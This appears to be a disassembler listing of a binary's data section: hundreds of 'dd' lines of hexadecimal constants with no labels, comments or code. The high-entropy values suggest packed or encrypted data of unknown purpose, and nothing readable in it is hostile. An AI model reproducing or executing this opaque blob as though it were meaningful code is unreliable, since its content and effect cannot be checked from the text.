		dd 0E68C3695h, 7E7B603Bh, 0B200F901h, 0EEEC6B81h, 1B78023Eh
		dd 0D89287D0h, 53516490h, 82A72700h, 9BD9B17Dh,	73A400BBh
		dd 0C141E9DBh, 53007430h, 4A548745h, 0A9072C61h, 1023A4B4h
		dd 0CE44C601h, 4019469Dh, 0A3701AB8h, 0E500917Dh, 0AE661BF6h
		dd 7ADC42h, 3B4527D8h, 44BA748Eh, 54AA9B00h, 2F12051Fh
		dd 0A5723E59h, 0ECDF9481h, 0C011C230h, 0AC0060AAh, 58FD8608h
		dd 26EA89CDh, 3D0E84Eh,	0C64598BBh, 0C4F2ECB0h,	3BB5F90Fh
		dd 1C4CC063h, 757E8Dh, 0C3148A43h, 7ACBBD64h, 0E72C24B0h
		dd 0DC0054DBh, 20562D1Ch, 1D8DBA5Ch, 803FB485h,	4752C58Eh
		dd 81B86C4Eh, 0FA163400h, 8107B83Dh, 86A400ADh,	3C66A10Ch
		dd 2E02FC1h, 0F7F0B7h, 0A36F0F56h, 0E91242BAh, 7B964B3Fh
		dd 2A98E404h, 0E48CBE05h, 0AFF054h, 7F6F01FEh, 8E7D4731h
		dd 1FB9CF01h, 0CAC88543h, 4AEEF4h, 1AB851C0h, 960C2915h
		dd 439AD904h, 3F806BC2h, 0FCE5A0C6h, 3C10055h, 3F050C2Ch
		dd 60488245h, 546F0077h, 0A5CB9E06h, 556800E4h,	37267425h
		dd 8400ED3Eh, 0DFCC6139h, 3C5EA8CAh, 4E0E060Fh,	0C9E0C89Bh
		dd 0C21024DAh, 82040A00h, 209602A1h, 1990141h, 0CEEECC83h
		dd 87903045h, 57105000h, 2103E342h, 0AD0A395Ch,	0A973C100h
		dd 31E9CCC0h, 86D17817h, 0ED971800h, 0D7855Dh, 1F14061Eh
		dd 0AC49AD67h, 75450B3Dh, 2CCF8B05h, 0AC21C33h,	1D38CE4Bh
		dd 8713FB81h, 10A9E431h, 0AD6C8C8Ah, 0CB58A1B0h, 0AF9F0044h
		dd 0E9B5753Dh, 70E8A063h, 0A46A0C6Fh, 6AE8E16h,	2EB1774Bh
		dd 732ECA30h, 4E65001Fh
		dd 3C9E7C25h, 6B04D66Dh, 0DC67CD0Dh, 904624C3h,	70E7F796h
		dd 0A4080022h, 0B29BA106h, 94006E24h, 43D77D59h, 383BB56h
		dd 4A1162A7h, 0BFD08C17h, 8F00750Eh, 490A27BCh,	0BA6EA02Dh
		dd 86250188h, 53D76D74h, 0B3A7C487h, 44007D72h,	0DFB0156Bh
		dd 0A4C8D9h, 8864F274h,	9DA273C2h, 97E2BE0Bh, 9EB08192h
		dd 86D0E3DDh, 500F7ACEh, 2774FC9Bh, 88DCEB3Fh, 6CC54F03h
		dd 0D25ACB08h, 0CBDC8038h, 2816404h, 0FCF8B806h, 64C07E62h
		dd 5E005495h, 5DD505Bh,	757A293h, 0FA0227A9h, 2B1AC331h
		dd 6D71F7A8h, 0B03DC100h, 9D2A39F4h, 48DCA867h,	5AFE1DC6h
		dd 0BC80C101h, 0F851FC26h, 0DD054393h, 288F744Eh, 640C6480h
		dd 783F5931h, 4004F41Eh, 0C4BB30EEh, 970002B7h,	4D6FE991h
		dd 1BCF25h, 260ABF3Fh, 0AA8DFA70h, 0B8C23700h, 4C6512E9h
		dd 18161DC3h, 827B00CEh, 3D5F6FE6h, 97625800h, 80254B8Ch
		dd 0DD5100B8h, 0EE6C1B03h, 900374BDh, 69A0BE68h, 0A4DA153h
		dd 5579D1E8h, 75F4884Fh, 90D90088h, 7AB767Ch, 0D62586B9h
		dd 7EDC034Eh, 0A42290BFh, 1CE10059h, 0A86625F5h, 7401F72Ah
		dd 83DB07A6h, 0E9D84BD5h, 93A90042h, 2B78300Ch,	0E2005AD0h
		dd 35CC201Bh, 83714Ch, 99464CFh, 39218D1Fh, 4B5FBD3Ch
		dd 41148800h, 0F3DB246h, 1A103E76h, 22803ACFh, 0BCE3667Eh
		dd 1E118160h, 40CEB877h, 90AE924h, 0B7727F57h, 19F560Fh
		dd 9C051196h, 134330h, 22FE45D6h, 23B80C3Dh, 0C3348A00h
		dd 0BE1884ADh, 88A125AFh, 0AE3B3000h, 0E3632460h, 0B7D77CECh
		dd 0CEE56240h, 46522A6Ah, 6EBA288Ch, 0F26EE5Ch,	0B3C20769h
		dd 53E77160h, 0A1174BFEh, 0E009270h, 562E482Ch,	609A1D4Fh
		dd 262F01A8h, 0D00F3677h, 451252CFh, 0EC1C2DE8h, 1EA34980h
		dd 0ECAF417Fh, 9A9100E2h, 35C0822Fh, 4700B933h,	0EBC54070h
		dd 3A325AD4h, 23801ADCh, 0FC1B9E56h, 9099D22h, 514560h
		dd 41B4B7D9h, 0B1A26190h, 0C040FC15h, 310028DCh, 2908EFC4h
		dd 0DB1C5h, 0A1B211B4h,	221E807Ch, 4AB33B00h, 413F8605h
		dd 805B509Ah, 94AA38A1h, 0A0E2AEh, 781D476Ah, 630C7D27h
		dd 681EC219h, 8FB0E9h, 268150A3h, 0A6FF9BDBh, 9D001A7Bh
		dd 3D691401h, 0E5C607h,	0AEF6C043h, 798095B6h, 0EBBFA100h
		dd 0B85AD763h, 0C07702CDh, 5F29C5DBh, 9930C0A1h, 2638C407h
		dd 6450F400h, 0E57A8DF5h, 13FD0056h, 5EE61FC5h,	0A40EAC73h
		dd 0C05A6350h, 452AB0FFh, 16713CF6h, 10AEC299h,	0C3045AC4h
		dd 2BB9BDh, 1602610h, 25BFA475h, 26E35758h, 1C00DC3Dh
		dd 29C7BD47h, 18C47313h, 2874F83Eh, 0A78056A9h,	0C2C800CAh
		dd 15250D33h, 5F004758h, 0B38A1651h, 36DD297h, 0EBE60FE8h
		dd 78A86AF5h, 371F2ECFh, 0FF400640h, 0B2A85F66h, 0FDDF003Ch
		dd 36BBBCCDh, 1B00286Dh, 96213B2Fh, 0B03951F6h,	0FEB60010h
		dd 3762DD02h, 6C0047A9h, 0F577B843h, 0C283EDh, 0FFA03BCCh
		dd 0C0D24B5Fh, 9F006075h, 0E05CF04Fh, 71A4813h,	0BFAB5E7Bh
		dd 913DD0B6h, 0F63CB32Fh, 0F8A200C8h, 3EA5EE2Eh, 8299002Dh
		dd 228EB749h, 970047C2h, 17719EE2h, 50968BE3h, 5DA4A2h
		dd 0ECDEED07h, 0CDB7A90Ch, 0DB00E075h, 4ECB5FC4h, 52A437h
		dd 327C9B43h, 0DDC5C3D0h, 0F33DEA00h, 663C12CDh, 89951D7Eh
		dd 37807BF1h, 0D52E4DD4h, 0CA00526Bh, 0C6286EAFh, 0EC7FF9h
		dd 0DDD435F4h, 9A8C5ACEh, 50B8A67Ah, 15D3807h, 0DE5099C2h
		dd 0A5F0CFh, 612B83C4h,	0EB66D287h, 27C0400h, 56C5D5A4h
		dd 78DFB037h, 100C00A2h, 0AE3D663Bh, 0A700C9B8h, 90D1D91Ch
		dd 267AD0Eh, 0BF826175h, 18404222h, 0D20046CEh,	8FEA9533h
		dd 0C1DDF6h, 7688A8CDh,	1CDEE67Fh, 0F8AE3100h, 0A78A2D9Dh
		dd 5C1D000Bh, 99DCDDFEh, 84072829h, 4767EE7h, 0FAF183E0h
		dd 4AB63E56h, 0EDF6D282h, 0F0A03D54h, 0DCFD7B39h, 0CC0C2F1Eh
		dd 575F7840h, 2E8A1F17h, 6595D5h, 7E4831E7h, 440B2EA4h
		dd 80060759h, 0F0CADD0Ch, 73B81374h, 813900DEh,	19EEAD22h
		dd 0BA27110Bh, 4FD00060h, 1B51C16h, 0DA610709h,	0CA2BD337h
		dd 1BA64440h, 4DA3B700h, 0CAE7CDD7h, 31541D39h,	75EC212h
		dd 442B3CCh, 19E06980h,	2C00F264h, 6998264Eh, 6FEF0Bh
		dd 0FC9BF7BDh, 157F700Dh, 0EC53A700h, 58FF480h,	293600A9h
		dd 226C10CFh, 0E900B67Dh, 0E14787D2h, 5C9AAA69h, 4800643Ah
		dd 1AECC0ACh, 0F9C08FBFh, 79D3547Bh, 93070033h,	0C28592F6h
		dd 720F4EF3h, 801BED4Ch, 0BC8CADD4h, 7804002Bh,	0C87ACE31h
		dd 511F93CBh, 0DECEE96Eh, 80B9C0AAh, 1C8CEEB3h,	43248DE7h
		dd 0B6575DA2h, 5520E8E0h, 3CFB9A04h, 0BAC4C099h, 0E3272480h
		dd 97E900DDh, 0A71B4DE7h, 6F0023C3h, 9D5F968Dh,	0EE9808F2h
		dd 72617EE6h, 5854001Ah, 5B1D6E4Eh, 6BF00F62h, 462C9800h
		dd 31FBDC83h, 7BCF73A2h, 49FCEBh, 6D5902A6h, 403EFF89h
		dd 390B171Eh, 11B11801h, 35C8672Fh, 0B4EA00BDh,	6F53FFEBh
		dd 0B82FB5E7h, 20E7001h, 818C9016h, 60404583h, 460E5D04h
		dd 614DCB57h, 683470E9h, 0BC9780DFh, 1D0905Eh, 0A6D2E237h
		dd 0D8A46D04h, 0F4EE7B08h, 0FEDE9300h, 3AC4741h, 0C1F300AAh
		dd 0CCA36827h, 444C5E09h, 799D3DB0h, 0BDE44813h, 56D50800h
		dd 7C781562h, 0D157511Ah, 929830h, 0E8536336h, 18B305C5h
		dd 0AA04357Fh, 66E7C3D4h, 70DF5C88h, 78AD0AA0h,	0FCB75Eh
		dd 0A5EB50A9h, 0BE036697h, 0E1373D7Eh, 2068E00Eh, 5352006Fh
		dd 8B26DD16h, 8900816Bh, 448407BDh, 608DB0h, 693223CFh
		dd 11C54791h, 0BDABBE01h, 0E7BFED2Ah, 181E13E0h, 0FA891498h
		dd 0B4006D1Fh, 1928DF0Ch, 529E87h, 6A90E31Bh, 0D447B65Bh
		dd 2D006798h, 29D20B86h, 26AC14h, 606115FDh, 4B192051h
		dd 844F0D3Dh, 0C3F0CE9Ah, 1A472080h, 49D00A8h, 0F8F2026Ch
		dd 36003FA7h, 781268B6h, 0CBCE70h, 564B86EFh, 0B715B1A5h
		dd 0DEE7C900h, 69F14E5h, 51D51F4Fh, 6D10025Ch, 0DC402BDCh
		dd 0DD98FA48h, 61592107h, 7AE5E757h, 1ECF32C1h,	0E0C7C8h
		dd 9FF60A6Fh, 504F6BE1h, 0A15DDC12h, 0EE526000h, 72BA7565h
		dd 0E8F40017h, 9E2DB6C1h, 0A1482A03h, 53E1EA8h,	9108240h
		dd 1B60EC7h, 99D097CCh,	0E0AA0FB3h, 95126C4Fh, 18004744h
		dd 0F0FBE818h, 3CE026h,	9CCF5751h, 0AEEA7D6Dh, 460054FCh
		dd 0D2F68CB6h, 7FBE1E31h, 9F090038h, 3BD1A313h,	0FB12CEC9h
		dd 640A37EDh, 1503C451h, 0F375CAE4h, 0F2AC8B6h,	222300A2h
		dd 73879881h, 3200556Dh, 0A814D517h, 0FF723Ch, 54AC49C7h
		dd 0DE7C8E43h, 806D333Dh, 74044B8Bh, 0EDD83Bh, 4009AD9Dh
		dd 6FFE9779h, 7B3C5A00h, 0D7BB46DDh, 2AFB0916h,	3E0055D3h
		dd 0A7203B26h, 4552F102h, 60EBAD34h, 93A11Ch, 0C0CF8996h
		dd 0F97D43CCh, 4881101h, 0EC219859h, 7344CCh, 9D205D34h
		dd 0F3C5ED0Bh, 68AB9E03h, 6BAC81h, 94A10F51h, 0D3969A0Eh
		dd 44115C00h, 0B2924A7Eh, 7240006Ch, 4CAAC6CDh,	520086FFh
		dd 0EE977D10h, 0D0EA35h, 0F1590848h, 7756BB8Ch,	99EDD38h
		dd 3E1C45h, 7D6C21EEh, 5552006Dh, 0D8112069h, 8003C7EBh
		dd 66A63999h, 152A00D5h, 717656EAh, 0CD001F5Dh,	3D8919F7h
		dd 0DDB50Bh, 0BCFF5077h, 0F2B06A4Bh, 0EB349500h, 25CDF141h
		dd 11A10024h, 3C8C7703h, 0FD7DC793h, 9281E200h,	30BFDEF9h
		dd 0A1418B4h, 79E46913h
		dd 68317E00h, 654F595Bh, 2CDD7CABh, 1F8215E7h, 92CF4E10h
		dd 916F8E61h, 0B072D0D5h, 4012A532h, 329FC0E7h,	7E190E9Eh
		dd 0FD8D69h, 1FFAA77Ch,	0AA075F99h, 252EA661h, 29BB4340h
		dd 0D0B0037Eh, 10599112h, 0B18C8907h, 948ED67Dh, 7BBD0040h
		dd 35C8A4C3h, 792100B3h, 0B7143069h, 100051B4h,	3E0C7291h
		dd 602312DBh, 6669A0DFh, 40C0319Fh, 0B42045EAh,	0D0D728CBh
		dd 8A6E0058h, 19E81D4Bh, 4400F8A6h, 4D30286Fh, 0C86973h
		dd 0DF4C51EAh, 1127A378h, 41A5EC00h, 0A9B1D7C4h, 7BC2011Eh
		dd 6033066Eh, 4FF1E0D5h, 2B7998FEh, 515FBB00h, 171173E8h
		dd 307A00DCh, 7BDF8589h, 80F22E14h, 0D3A51500h,	33CB476Fh
		dd 0B26C0E0Ch, 9D63463Eh, 0A08F6281h, 7DF288B4h, 8E34853Bh
		dd 0EA6B330Eh, 0C0838CE5h, 0E957D790h, 0A050385Eh, 1467944h
		dd 0D582D3C3h, 0F0840DB4h, 950FFCB2h, 6665503Ah, 2E40DE45h
		dd 31B9C4h, 0CFBAEDEBh,	5F0A2986h, 9C30400Fh, 0DC00EC9Fh
		dd 27CAF090h, 657400E1h, 6623A6ACh, 3F3A6A44h, 3B508EB8h
		dd 496DE146h, 54CC9EC3h, 5B4B1D5Fh, 0D28E1F31h,	345F00AFh
		dd 81661047h, 287C701h,	0ECFD6B1h, 0A81819BFh, 6BEC208Ah
		dd 0EB153C02h, 93079046h, 55ABD8h, 85B98B98h, 0F2F1409Ah
		dd 0D378870Ah, 2130E86Dh, 2498166Ah, 7F59B9h, 0D1250B4h
		dd 4C0CF775h, 0D8F29B64h, 0B13834D6h, 0AF6EC130h, 0F4C3F846h
		dd 0DC43C800h, 84FB6C95h, 6B7478h, 0C48E4C6Dh, 37E9A719h
		dd 8FCC8B1Dh, 7C14D5Eh,	793CF32Ah, 3969AA70h, 0ECF4A803h
		dd 42FC07A3h, 0C15D6340h, 8041558Ch, 886BFB18h,	4D4A47h
		dd 51C289F6h, 0B4260B77h, 61FE0400h, 7B570BEh, 0B38C3BECh
		dd 86253606h, 6360E6FCh, 0A9E46990h, 7B711C96h,	0BAC90755h
		dd 607EC6FAh, 8167EE7Ah, 66AF6930h, 74D176E8h, 0DDE680C1h
		dd 0B7F13F01h, 68037AE0h, 0C1E744F0h, 7535FA29h, 0D44D6085h
		dd 696D138h, 644FBBCFh,	0D70D0120h, 8C6BC4E5h, 6A68988Bh
		dd 0F21FB219h, 0FE311BDEh, 1E080F5h, 8600B7A2h,	0D745D1A9h
		dd 0FABBEB78h, 162E283Bh, 430D05B0h, 0C5ECC44h,	1839F7A0h
		dd 1A004EE2h, 0CA2351CDh, 1CE34C86h, 4136981Bh,	3EEA5443h
		dd 7087D29Dh, 97A03024h, 78177092h, 7A0661DBh, 2A2098D8h
		dd 0C05C44h, 0FDEB01EEh, 0FEB02BD5h, 82A2205h, 2CC14B8Dh
		dd 3080688Eh, 49B3F0DBh, 90A20C21h, 245ED361h, 0B0A46E08h
		dd 31CBC202h, 0C0D6E88Ch, 754AAA02h, 9E633F78h,	0ED6E6506h
		dd 5F48506Fh, 0DB080404h, 6D07FF85h, 2DE9044h, 7C3A8F53h
		dd 8F45190h, 55004030h,	0C9F2459Bh, 9AF1EBh, 7DD0BFC2h
		dd 0B602771Fh, 68420AF6h, 0AC014053h, 0F6224FDFh, 0E444016Dh
		dd 0B2276710h, 0EA0BC073h, 5FC28A7h, 0BC40ED17h, 9120CD54h
		dd 0E7BB3258h, 0A0A47930h, 206D4041h, 185DE9h, 625F6B15h
		dd 42CF04B6h, 6C8AA401h, 23C32ACBh, 930F1B2h, 96C930A0h
		dd 7C063E3Dh, 0FB12D426h, 0EF740C19h, 4F99846h,	0E8002091h
		dd 0C3893C5Bh, 0D1495CDBh, 0F01FD601h, 24E4AFA0h, 0FE600940h
		dd 0B8176C39h, 0A6CD004Dh, 1453921Ah, 0EC0ED38Bh, 0E3AA33C5h
		dd 5D48483h, 44898CC9h,	97A2C0B7h, 170FC104h, 0A0C69FAFh
		dd 0DE9EF67h, 0F9D35F3h, 18B03468h, 258C71D6h, 56A8502h
		dd 48798399h, 0C79710h,	28BE2153h, 9B67DC9Dh, 0A33AA701h
		dd 1FE919FFh, 7C4428A2h, 0D95200AAh, 193EB571h,	813D0CC8h
		dd 0E7189208h, 80E38C48h, 0E4D80465h, 0A54AB36h, 0EB22D4B0h
		dd 5B442AF6h, 0CD9F01D4h, 4846950Bh, 1539D4A2h,	4107F500h
		dd 0EE2753ECh, 888DD09h, 0D0306342h, 98A341Ah, 9FD88D9h
		dd 0DFD44820h, 58C16CAAh, 947DEFDBh, 44D68050h,	60209AFDh
		dd 1CE179EAh, 0D001745Dh, 0B7490D6Ah, 0A9883CB8h, 58A9ECF7h
		dd 5B138840h, 804D7CB6h, 6E06EDCEh, 700B847Fh, 0CC754958h
		dd 20E68613h, 2311F538h, 50AE1F3Eh, 8498B494h, 0C078454Dh
		dd 0FE529A2Bh, 1C1F92Dh, 4C7E9823h, 0D80206Fh, 73D49BB3h
		dd 0BAEB2801h, 0D74969BCh, 906EF2h, 91DAA343h, 0CD642F01h
		dd 610AB1B0h, 0A8588D1Bh, 908F7D8Ah, 9C0B038Ah,	0E0C30C87h
		dd 0E50F2680h, 49BF1CF7h, 2498CE46h, 2CA41D09h,	0FDEE409Bh
		dd 0D40EDh, 0E19CFFF2h,	6B358D2Ah, 1CEFB21Fh, 1222A8EAh
		dd 4F442AE2h, 0CF2300C0h, 0AC17A237h, 0EE1AFC91h, 21599540h
		dd 0F7B26FACh, 6E116C32h, 0E2A4515Ah, 0E27FBE20h, 9DEB0021h
		dd 7E50F731h, 593E995Ch, 480CA439h, 0D1227140h,	0C87B0992h
		dd 811FACCh, 2C003358h,	0F8441C7Eh, 7C04C8h, 0E3800693h
		dd 0AEE61F66h, 0E8613C24h, 0EE44864Eh, 0C7CF00D1h, 0C1F5EC8Ah
		dd 7500BAB8h, 22C1C8Ch,	239E82Dh, 7C8B996Ah, 0A064C235h
		dd 5080FBF4h, 0BD9300B2h, 27B33C11h, 689A2C8Bh,	4A96DB18h
		dd 5969F9h, 34B05835h, 9C868ED1h, 0DF4CA300h, 0A6C0AE74h
		dd 0AF971A60h, 648FA110h, 0EE046948h, 349047D0h, 3BEF8C6Ah
		dd 1E16B9BEh, 84704623h, 750021C0h, 37FF972Fh, 12E47C70h
		dd 48C277DDh, 0C880EFF0h, 26D5C708h, 0DD0E0288h, 0BE2181Bh
		dd 0A1043CCEh, 0B333B4B6h, 11E871C0h, 10CE2B0h,	0D99B395Fh
		dd 0B9497C8Ch, 0CCCEA2A1h, 0DB69E1B8h, 35080D04h, 0F4D19462h
		dd 29816A84h, 64FFE92Eh, 43682451h, 2091697Ch, 0AAC2178Eh
		dd 0CF12A916h, 0FD689059h, 9389EC0Ch, 54540424h, 18DE84Dh
		dd 0DEA44E32h, 30247E5Fh, 51068ACEh, 1FC3EED7h,	0FAB33730h
		dd 46EFE448h, 41F644h, 0B5354A41h, 0EDD1AABCh, 4DC07751h
		dd 5EC04334h, 41F44CC4h, 88AC008Dh, 0B655D529h,	9A1CAAh
		dd 26E76321h, 8E13006Bh, 827BD57Fh, 6B671F0Ah, 0C244E415h
		dd 0BA46B740h, 5C009D27h, 0F43101DDh, 0C2936BE5h, 0FC96E981h
		dd 0F9284D0Eh, 0A80458h, 3E7748BEh, 0BBDCCFA5h,	0FEF35E02h
		dd 0C4545042h, 639700D4h, 469389E1h, 0B152C381h, 0FE22D4h
		dd 85FD05C7h, 5714F8C8h, 29A8F75Dh, 6600D861h, 64FFFBEh
		dd 18CB3F75h, 0D5BB9384h, 0D1F489DEh, 8C8057D2h, 0F8B260E9h
		dd 3C594244h, 72005BF2h, 0CDC1B3CBh, 96004F37h,	0C3BC2AA1h
		dd 0A8F57C6Bh, 0F0DD0B5Ch, 0CC4B06FEh, 1886C617h, 80BC40B1h
		dd 0E46B6A6h, 597A53BCh, 842C0852h, 0E3CD40A0h,	8A00307Eh
		dd 0EADB9155h, 0B5388A4h, 63832B03h, 3943D090h,	830C5448h
		dd 0F094CB9Ch, 51191163h, 0F0223CCCh, 0F0AAFF01h, 0ECE5F3A1h
		dd 0D90C2DEDh, 0F171336Bh, 7829C3E9h, 7CD05DC7h, 263C967Ah
		dd 0F0A0067Eh, 99A1E8EFh, 3542434h, 0E4D43B1Eh,	0DC6C1912h
		dd 46768822h, 44A64Ch, 0EC9EF636h, 97C5C19Fh, 3F00724Dh
		dd 0F3C40A9h, 9AC42F57h, 1139562h, 68EED0A1h, 6E819446h
		dd 0D17A80F0h, 0B1AC2DBh, 0D260FD8Eh, 0E0E06108h, 49F99001h
		dd 0B6DB3Eh, 0D3354D9h,	1C1E60E3h, 0D44D72D1h, 0F6C02C7Bh
		dd 0D22C9D19h, 3808DEF4h, 91C3E4B9h, 0C5771FF5h, 34A06DC3h
		dd 0F4C1582Ch, 0DFCDEAC0h, 0BD64B04Fh, 0EC9C9338h, 0A0438AF7h
		dd 708852C4h, 8C990378h, 6790C98Bh, 10E4E9DBh, 0C2D1C094h
		dd 0F578AAAh, 7B2C150Fh, 226B51B9h, 11D41224h, 5C20CCC4h
		dd 0EACAB83h, 93238E6Fh, 18DC48B0h, 408968D1h, 36622429h
		dd 4EEE8B88h, 61F3A013h, 16945150h, 23638B17h, 0C000C014h
		dd 76F785B8h, 41EE62E1h, 3249843h, 121BC88h, 64EFBEAAh
		dd 20DC0B29h, 7D0526DEh
		dd 0AE7B55CCh, 0FFE69444h, 0ACBC0256h, 645A435Bh, 145E0200h
		dd 6A2862FDh, 3F70183h,	0A994A7DEh, 2979E119h, 5F6E185Ch
		dd 1E7198A1h, 2C25CBB4h, 0E494C094h, 1700632Eh,	34BD1ACEh
		dd 99FC8407h, 4EBE00E8h, 32D63658h, 500AF4A9h, 3FA9AC84h
		dd 1FBBDE00h, 1A2DF877h, 85F03E0Ch, 5CE10881h, 16C8135h
		dd 0B3148E54h, 7A2A0088h, 35A1CCFEh, 882F0B90h,	0F8319EBh
		dd 25B86E64h, 2400BAF8h, 0CC54ACEEh, 26EAD8FEh,	0A4887929h
		dd 63E82C58h, 591E4061h, 0E0357FEEh, 0E398B060h, 9B3F0FB9h
		dd 13C45407h, 0E9CA6E4h, 2059A3B0h, 29415303h, 529801E6h
		dd 4F4830Ch, 70ADE59Bh,	0E49684ACh, 0D0CACB80h,	0AAC17034h
		dd 69C405DCh, 0C251DC32h, 60B8E0B8h, 0D600849Fh, 18CA43B7h
		dd 5D0A861Bh, 3507C4E6h, 0A5ED2653h, 70805FCh, 0D458853Bh
		dd 564040B4h, 0B1504BF2h, 0A4134C4Eh, 6F6BD400h, 160655EBh
		dd 0C2747Bh, 4E5CE6F8h,	82265B30h, 7151540Bh, 5CEB0A21h
		dd 580BB861h, 0B042EEh,	5E1A016Bh, 0E8295D29h, 884C7724h
		dd 0B7E15D4h, 0C5182h, 0C626D916h, 12028783h, 0ABCDE2A5h
		dd 10A8E5FAh, 0E4718A6Bh, 0AC5F4288h, 919992B0h, 632FE114h
		dd 0CD29001Ch, 94705F5Bh, 0B6240047h, 8B01261Bh, 0D8582736h
		dd 80D588A0h, 2E44F091h, 4022B8Ch, 0E8872072h, 0C0DCAF66h
		dd 0EA8809E9h, 2D03074Eh, 0CAD297D8h, 0B2BB40B0h, 8AE8CD2Fh
		dd 40968874h, 0F8080449h, 90444Bh, 0D1DA43Eh, 1D419D9Fh
		dd 921F8B40h, 74E487F1h, 0B4A8A17Eh, 54CAE43Ch,	0EC17E0BCh
		dd 0ED481A41h, 80B01F2h, 0AA49258Bh, 4BEFC3FCh,	26CC5FEBh
		dd 6E443D68h, 49646Eh, 1E3ECD16h, 65F2566h, 39116826h
		dd 7000849Bh, 0D7B02B5Dh, 0E8C80F8Eh, 0C749F2B4h, 0F56E84A2h
		dd 9255EE21h, 848C4194h, 281BC59h, 0F0335C79h, 5122AB2Bh
		dd 34644955h, 8465EEC4h, 84A620h, 9CEA2641h, 0E831158h
		dd 6A2DC27Bh, 5340027Eh, 410948F8h, 43679F8h, 82582710h
		dd 24FC85E9h, 0E2094731h, 29605EC0h, 0CE9F003Fh, 70DA7A0Fh
		dd 417EAE91h, 1148E049h, 905D476h, 115D2660h, 0A491B82Ch
		dd 4BFCE024h, 5747AC04h, 0D684AC06h, 5C250011h,	0D1510C09h
		dd 3900EF82h, 4733E240h, 16BC96AAh, 34626D60h, 0C0E634h
		dd 6278E9B9h, 2C21F2h, 0B460FF8Eh, 0E1463B18h, 9230705h
		dd 3CB41314h, 0FA31884Dh, 7B5A7C1Eh, 4EE01AC1h,	4AD83F2Ch
		dd 27F8FABEh, 0A42284EEh, 0F099756Dh, 0F0520B4Eh, 0F41B1700h
		dd 0AF1D3FECh, 0E1A80D00h, 7F03193Bh, 92B52799h, 53E9B424h
		dd 0CAA32C30h, 206A72D8h, 10B2D19Ch, 587C50F3h,	826061FDh
		dd 74CC581h, 843A5086h,	0B0E8A8h, 711765E6h, 85849A28h
		dd 0E1B3EF09h, 5F4CA415h, 0FB600081h, 4F22E062h, 0E013B0A2h
		dd 70741037h, 58CD6095h, 0A45CFBFBh, 0CA1CDCh, 57AF779h
		dd 0AE38E440h, 4F620416h, 32992470h, 34480096h,	4A7F2A01h
		dd 1601420Fh, 7908E437h, 89BFC01Ah, 54C0204Fh, 2786B60Ah
		dd 10195D40h, 4CD48057h, 3667CE3Bh, 0DC651259h,	789C4C1Fh
		dd 7600BE49h, 77E29642h, 18507DF6h, 71E4B168h, 3896043h
		dd 361CBC32h, 48FE8150h, 666B05BEh, 9120030h, 34ABC87Bh
		dd 6C6F48EEh, 1CCC4589h, 0BE776104h, 789C9FD2h,	83E73A53h
		dd 0EADF1B00h, 0CE26A1FCh, 0C8D3E002h, 78B5B7CFh, 6B7F3554h
		dd 6E044A99h, 19D840FCh, 3D031E7Ch, 0CF18F872h,	3FC0C8CDh
		dd 0C6431DB4h, 8B782455h, 0D46968EFh, 43204061h, 0E31C8940h
		dd 0F8458072h, 28C08BB6h, 4443AD0h, 17619C33h, 2B1CE46Eh
		dd 624F8200h, 0AACE404Ah, 27C7045Bh, 9151E97Ah,	5050442Ch
		dd 5F8B53F4h, 1023D531h, 44695D94h, 0B1E80D81h,	0EE39892Ah
		dd 0D4E448D1h, 844CBAF8h, 0B3BE028h, 76977323h,	7D452030h
		dd 0D41EDD70h, 0A2C041C5h, 9E7CC4DBh, 73E62CB8h, 0EFDC844Ch
		dd 0EC6C88E8h, 0E7AC421Dh, 491EA009h, 620C7A68h, 9F792C84h
		dd 31064014h, 0A609E2DBh, 182BCC81h, 0B46EEE90h, 66B0BAACh
		dd 3BF28249h, 3A49AC77h, 1E22258h, 305CD9F3h, 0C8ADEC04h
		dd 89534DABh, 0B0FD2228h, 0A6EC741Ch, 80D891A4h, 434DE7E8h
		dd 62009D5Bh, 0FA1B989Bh, 75645819h, 81372088h,	96DB21h
		dd 89EBCC8Ch, 0CF00403Dh, 0A62E7DCEh, 3E05D02Bh, 0B17A6BCDh
		dd 9E02BCE8h, 0E7D6ACECh, 303BB0EEh, 0BEFA0247h, 7BD0EDCEh
		dd 0D70D0138h, 3985F47Dh, 278000F0h, 0D1C7B57Bh, 1FA90205h
		dd 68FD4658h, 906D6C82h, 0D50B8428h, 9896E6h, 751E1521h
		dd 0E07853Dh, 64B2A215h, 0BE32594h, 4C46C0h, 32F4B89Ch
		dd 59412164h, 3C22B902h, 1264E06h, 1195600Dh, 9DF8ABE8h
		dd 0D6461792h, 45C488D5h, 200CAE2Eh, 0C82CD016h, 0B4A3FD4h
		dd 9F3D96h, 2D84806h, 5F7D9BC1h, 59146058h, 98D99260h
		dd 102D9031h, 20EC5F26h, 535D012Ch, 731D400Dh, 1BE5FC09h
		dd 0B108DC00h, 3D3228C6h, 17ED0BCDh, 0C8E41F82h, 90224F42h
		dd 80111300h, 9CE654F7h, 41260724h, 0E2B1B7ABh,	0C17FDD71h
		dd 703450E0h, 298F88C3h, 661C8AFEh, 9AC968CFh, 1404405h
		dd 0A2E6EE0Dh, 79FE3237h, 9AB50358h, 5AA581D2h,	0A6582091h
		dd 5E000841h, 0DE791351h, 0EC8A9352h, 958F7186h, 6FF8E433h
		dd 0FF022E7Ah, 0C3EE0F19h, 2810495Eh, 487B9862h, 896B47Ch
		dd 0E0A45D6Ch, 0D19420AFh, 9E8FAEh, 0ACBA7110h,	0A18D18F4h
		dd 24306825h, 49C04368h, 0B8A64A6Fh, 81089011h,	71F45470h
		dd 29D03EECh, 4030FE24h, 93E362EAh, 5A0057FAh, 7D10DF82h
		dd 2E1F4417h, 1421A8D6h, 0EC85948Dh, 0FFAC3092h, 88015B49h
		dd 9F72DF32h, 502D40C4h, 201C5C53h, 0A88000DAh,	0BB36960Dh
		dd 857B4101h, 635EDD21h, 91B7840h, 7AED44FEh, 6E7160E3h
		dd 0E3D59113h, 70DBC0DCh, 0F43148BCh, 0CC25173Ah, 57EEC0A2h
		dd 360D0D2h, 0B1C86C09h, 55A60714h, 309A82EBh, 38FB962Eh
		dd 2895D23Dh, 64A2FCA4h, 0A600B46Ch, 8DE7D51Eh,	9DDEC5Ch
		dd 21A2953Fh, 40D73024h, 0A908FFE2h, 314F07A5h,	204485F7h
		dd 0FC99B6B9h, 84093491h, 0E568207Bh, 0A7BB32h,	0F03C0F2Dh
		dd 8DABC918h, 2B80E702h, 64316B22h, 0C7A8BC04h,	9128CA2Fh
		dd 0BD0F1E78h, 5EA23240h, 13EE9DAh, 7A811DA7h, 0E8443875h
		dd 0FCBAC44Ch, 88656E22h, 64F520h, 4B8B0F28h, 0A33AA9D3h
